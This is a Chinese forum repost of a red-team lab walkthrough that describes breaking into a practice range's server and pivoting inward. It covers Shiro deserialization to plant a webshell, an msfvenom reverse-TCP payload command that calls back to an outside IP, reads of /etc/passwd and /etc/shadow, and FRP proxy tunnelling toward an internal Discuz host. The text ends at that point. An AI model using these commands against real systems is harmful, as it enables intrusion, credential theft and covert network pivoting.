红队攻防渗透——通过二层代理拿下内网服务器

wangqiang · 发表于 2023-2-9 10:49:20

本帖最后由 wangqiang 于 2023-2-9 10:52 编辑

红队攻防渗透——通过二层代理拿下内网服务器

wangkun05 Hacking黑白红

2023-02-06 22:43 发表于安徽

转载自：红队攻防渗透——通过二层代理拿下内网服务器

本文涉及到的知识点：

1、信息收集

2、目录爆破

3、shiro反序列化

4、冰蝎和MSF联动

5、内网信息收集

6、FRP一层代理

7、discuz历史漏洞getshell

8、蚁剑配置代理，连接shell

9、FRP二层代理

10、狮子鱼CMS任意文件上传拿shell

1、信息收集

渗透测试的本质就是信息收集，这点我觉得做渗透的师傅们都深有感触，本靶场也是在经过很长时间的信息收集，才找到突破口。

1.1、御剑扫描

这里没有扫描出来任何信息，从此之后，我就再也没用过这个工具。

1.2、7kb扫描

7kb还行，但是还是没有什么有用的信息。

1.3、端口扫描

端口扫描，我们扫描到了22端口，80端口，8086端口，其他两个端口暂且不看。

22端口，我们可以选择利用超级弱口令工具进行爆破。

80端口，我们可以进行网页查看，看看有什么可以操作的空间。

最后我们尝试了22端口，未能成功。

1.4、dirb

这里我们在进行目录扫描的时候，我们极力推荐kali里面dirb，比前面两个工具好用太多了。

最后我们将扫描的结果，导入到Ehole3.0-linux工具，可以批量进行指纹识别。

./Ehole3.0-linux -l url.txt

发现目标：http://xxx.x.xx.x:38080/sh/

发现使用了shiro框架，这里我们用Shiro反序列化回显工具。

直接写入冰蝎shell，连接。

拿到shell，看一下目录结构。

是一台linux主机。

2、内网横向
2.1、配合MSF进行信息收集

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=43.138.57.125 lport=5555 -f exe -o /tmp/wangkun.elf

一般这个时候Windows主机，我们就要配合这个网站，进行杀软识别了：https://i.hacking8.com/tiquan/

接下来，我们在服务器上做监听。

然后冰蝎配置。

直接点击给我连，就ok了，这个功能一般没人使用，但是我觉得非常奈斯，但是有的时候，就会有毛病，时好时坏。

拿下shell。

接下来就是三件套，我是谁？我在哪？这是哪？

很好root权限。

接下来就是内网的信息收集

ifconfig

双网卡

cat /etc/passwd

cat /etc/shadow

hostname //主机名称

whoami //权限

......

这里内网信息收集部分，就不做过多的赘述了。

3、FRP代理

通过frp把内网这台主机代理出来。

在服务器上输入：

./frps -c frps.ini

上传frp在受害主机。

全部加权限，然后运行。

(root:/li) $ chmod +x frpc (root:/li) $ chmod +x frpc.ini (root:/li) $ chmod +x frpc_full.ini (root:/li) $ chmod +x LICENSE (root:/li) $ ./frpc -c ./frpc.ini

SocksCap64测试连接成功。

这里又有问题，但是我感觉，这个工具不太好用，个人不太推荐。

3.1、FRP建立一层Socks代理

服务器上的配置：

[common] Bind_port = 4000

运行命令：

./frps -c frpc.ini

将frp上传至受害主机。

给它们加权限。

(root:/li) $ chmod +x frpc (root:/li) $ chmod +x frpc.ini (root:/li) $ chmod +x frpc_full.ini (root:/li) $ chmod +x LICENSE (root:/li) $ ./frpc -c ./frpc.ini

因为前期做了信息收集，知道192.168.2.242上面有80端口：discuz(cnvd-2019-22239)

直接火狐配置代理访问。